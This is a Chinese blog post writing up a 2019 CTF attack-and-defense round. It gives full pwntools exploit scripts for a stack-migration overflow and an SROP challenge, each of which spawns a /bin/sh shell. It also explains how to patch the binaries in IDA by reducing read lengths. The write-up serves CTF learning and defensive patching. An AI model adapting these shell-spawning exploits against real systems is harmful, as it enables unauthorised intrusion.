2019国赛-PWN(break+fix) - ZhouYetao

2019国赛-PWN(break+fix)

这个博客拖了好久,之前因为比赛打完正好是期末考试了,本来当天想写的,但是因为出现了很多问题,所以留到了现在才写。
这次比赛一共有七个pwn题,我们队伍一共出来了两个,有点儿菜。。。heap的还是一个都没有出来,这个就比较难受。
然后在fix的时候也因为一些自己的原因,第一天的pwn的fix的阶段都没有给执行的权限,然后少了好多分.....最后的成绩是赛区的二等奖,不是很满意,继续努力。
先说break的阶段,首先是一个babypwn:
这个首先re一下这个程序,发现这个程序是一个很经典的stack migration的问题:
1562050162(1).png

这边给s-ebp=0x28,但是在真正输入的时候却是0x30,这边正好是溢出的是两个地址的大小,这边给一个wiki上的地址frame faking

这边在wiki上,是一个例题的讲解,但是比起例题来说,这里的题更加的简单,因为在这题直接给了一个system函数!!!
1562050535(1).png

就在这里!所以这题就变得非常的简单了,直接运用stack migration的手法对栈进行迁移,然后再进行get shell:

#!/usr/bin/env python
# encoding: utf-8
# author:ZhouYetao
# update_date:2019.7.2
from pwn import *
#context.log_level = "debug"
p = process("./pwn")#-petch")
elf = ELF("./pwn")
#raw_input()
#p = remote("172.29.7.107", 9999)
main = 0x8048095
p.recvuntil("Welcome")

payload = "A" * 0x28

p.send(payload)

p.recvuntil("A" * 0x28)
s = u32(p.recv(4)) - 0x38

log.success("address :0x%x" , s)
#gdb.attach(p)
payload = "A" * 0x4 + p32(elf.plt["system"]) + p32(main) + p32(s + 0x10) + "/bin/sh\x00" + "a" * 0x10 + p32(s) + p32(0x080485fd)
p.send(payload)
p.interactive()

这里直接放出exp,直接get shell。
第一天,我们就做出了这个pwn题,第二天的话,也做出了一个pwn题,是一个srop的题,这个题刚刚出来就知道是srop,然后主办方也给了hint,具体的srop的原理就是利用程序的syscall进行接下去的进一步的操作。当然这个在wiki上也有讲srop

这题还是很明显的:
455776efd0d7ca9a3c4d86179f0cc37.png

在程序的vul函数中,可以看到有两个syscall,所以在这里可以做一些文章,具体的操作在wiki中还是很清楚的,这里直接放出exp:

#!/usr/bin/python2
# -*- coding:utf-8 -*-
# author:ZhouYetao
# update_date:2019.7.2
from pwn import *
context.arch = "amd64"
#p = remote("172.29.7.104 ",9999)
p = process("./pwn")
elf = ELF("./pwn")
# libc = ELF('./libc-2.27.so')



# 0x00000000004004da : mov rax, 0xf ; ret
mov_rax_f_ret = 0x00000000004004da
# 0x0000000000400517 : syscall ; ret
syscall_ret = 0x0000000000400517

frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = elf.bss()
frame.rdx = 0x300
frame.rip = syscall_ret
frame.rsp = elf.bss()


payload = p64(0) + p64(0) + p64(mov_rax_f_ret) + p64(syscall_ret) + str(frame)
p.send(payload)


frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = elf.bss() + 0x200
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
frame.rsp = elf.bss()

payload = p64(mov_rax_f_ret) + p64(syscall_ret) + str(frame)
payload = payload.ljust(0x200, '\0') + '/bin/sh\0'

p.send(payload)

p.interactive()

讲了break之后,fix也是一个重点,这次比赛fix的比重还是比较重的,讲白了,fix就是要将程序中可以用的洞给填了,接下来就着手讲一下这边的两个程序的fix:
easypwn:
首先,这个程序的漏洞存在于对可以read的字符串大小控制的不是很严格,所以把洞填上的方法就很简单,就只需要对其所读入的字符串的大小进行限制就可以了,具体的操作截图如下:
1、将程序的代码的可视化界面调整至IDA VIEW-A,找到漏洞点,也就是汇编的push 30h处
1562053387(1).png

将30h用鼠标选中,然后选择如下:
1562054597(1).jpg

1562054623(1).png

1562054643(1).png

这个弹窗选择cancel,然后可以发现,这处已经修改好了:
1562054814(1).png

然后第二处就和第一处的方法一样去操作就可以了;
然后在全部修改完成之后,一定要保存程序,确保修改成功就可以了,具体的如下:
1562055043.jpg

1562055017(1).png

然后关闭IDA,发现已经完成了程序的patch,但是在这里,我们队伍踩了一个坑,因为上传到服务器,初始的permission都没有执行的权限,所以我们在上传了之后,还得手动加一个执行的权限,具体的命令如下:chmod +x pwn
short
1562055566(1).png

只需要将这里的mov edx 400h;mov edx 30h都改成mov edx 10h就行了。

Leave a Comment

@author:ZhouYetao
© 2020 Copyright.  | Power by Mijiu                                                                                               
本站已安全运行 651 天